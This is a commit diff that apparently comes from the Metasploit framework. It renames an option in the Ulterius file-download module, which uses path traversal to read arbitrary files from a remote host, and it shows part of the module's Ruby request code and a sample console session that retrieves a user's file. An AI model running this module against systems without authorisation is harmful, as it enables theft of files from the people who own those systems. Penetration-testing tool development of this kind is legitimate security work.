Skip to content

Commit 949b474

Browse files
committed
Avoid target_uri.path
It doesn't look like target_uri.path is suitable for this scenario, because it causes our input to be modified and hard to use.
1 parent 5467f4c commit 949b474

File tree

2 files changed

+18
-10
lines changed

2 files changed

+18
-10
lines changed

documentation/modules/auxiliary/admin/http/ulterius_file_download.md

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative pa
2222
2323
## Options
2424

25-
**TARGETURI**
25+
**PATH**
2626

2727
This option specifies the absolute or relative path of the file to download. (default: `/…/fileIndex.db`)
2828

@@ -36,7 +36,7 @@ Note: If you are using relative paths, use three periods when traversing down a
3636
- [ ] `set rhost <rhost>`
3737
- [ ] `run`
3838
- [ ] Verify loot contains file system paths from remote file system.
39-
- [ ] `set targeturi '/<DriveLetter>:/<path>/<to>/<file>'`
39+
- [ ] `set path '<DriveLetter>:/<path>/<to>/<file>'`
4040
- [ ] `run`
4141
- [ ] Verify contents of file
4242

@@ -53,11 +53,11 @@ msf5 auxiliary(admin/http/ulterius_file_download) > run
5353
[*] Starting to parse fileIndex.db...
5454
[*] Remote file paths saved in: filepath0
5555
[*] Auxiliary module execution completed
56-
msf5 auxiliary(admin/http/ulterius_file_download) > set targeturi '/C:/users/pwnduser/desktop/tmp.txt'
57-
targeturi => /C:/users/pwnduser/desktop/tmp.txt
56+
msf5 auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt'
57+
path => C:/users/pwnduser/desktop/tmp.txt
5858
msf5 auxiliary(admin/http/ulterius_file_download) > run
5959
60-
[*] /C:/users/pwnduser/desktop/tmp.txt
60+
[*] C:/users/pwnduser/desktop/tmp.txt
6161
[*] File contents saved: filepath1
6262
[*] Auxiliary module execution completed
6363
msf5 auxiliary(admin/http/ulterius_file_download) >

modules/auxiliary/admin/http/ulterius_file_download.rb

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def initialize(info = {})
3535
register_options(
3636
[
3737
Opt::RPORT(22006),
38-
OptString.new('TARGETURI', [true, 'Path to the file to download', '/.../fileIndex.db']),
38+
OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']),
3939
])
4040
end
4141

@@ -73,24 +73,32 @@ def inflate_parse(data)
7373
end
7474

7575
def run
76+
path = datastore['PATH']
77+
# Always make sure there is a starting slash so as an user,
78+
# we don't need to worry about it.
79+
path = "/#{path}" if path && path[0] != '/'
80+
81+
print_status("Requesting: #{path}")
82+
7683
begin
7784
res = send_request_cgi({
78-
'uri' => normalize_uri(target_uri.path),
85+
'uri' => normalize_uri(path),
7986
'method' => 'GET'
8087
})
8188
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
8289
Rex::HostUnreachable, Errno::ECONNRESET => e
8390
vprint_error("Failed: #{e.class} - #{e.message}")
8491
return
8592
end
93+
8694
if res && res.code == 200
87-
if target_uri.path =~ /fileIndex\.db/i
95+
if path =~ /fileIndex\.db/i
8896
inflate_parse(res.body)
8997
else
90-
print_status(target_uri.path)
91-
myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, target_uri.path, 'Remote file system')
98+
myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, path, 'Remote file system')
9299
print_status("File contents saved: #{myloot.to_s}")
93100
end
94101
end
95102
end
103+
96104
end

0 commit comments

Comments
 (0)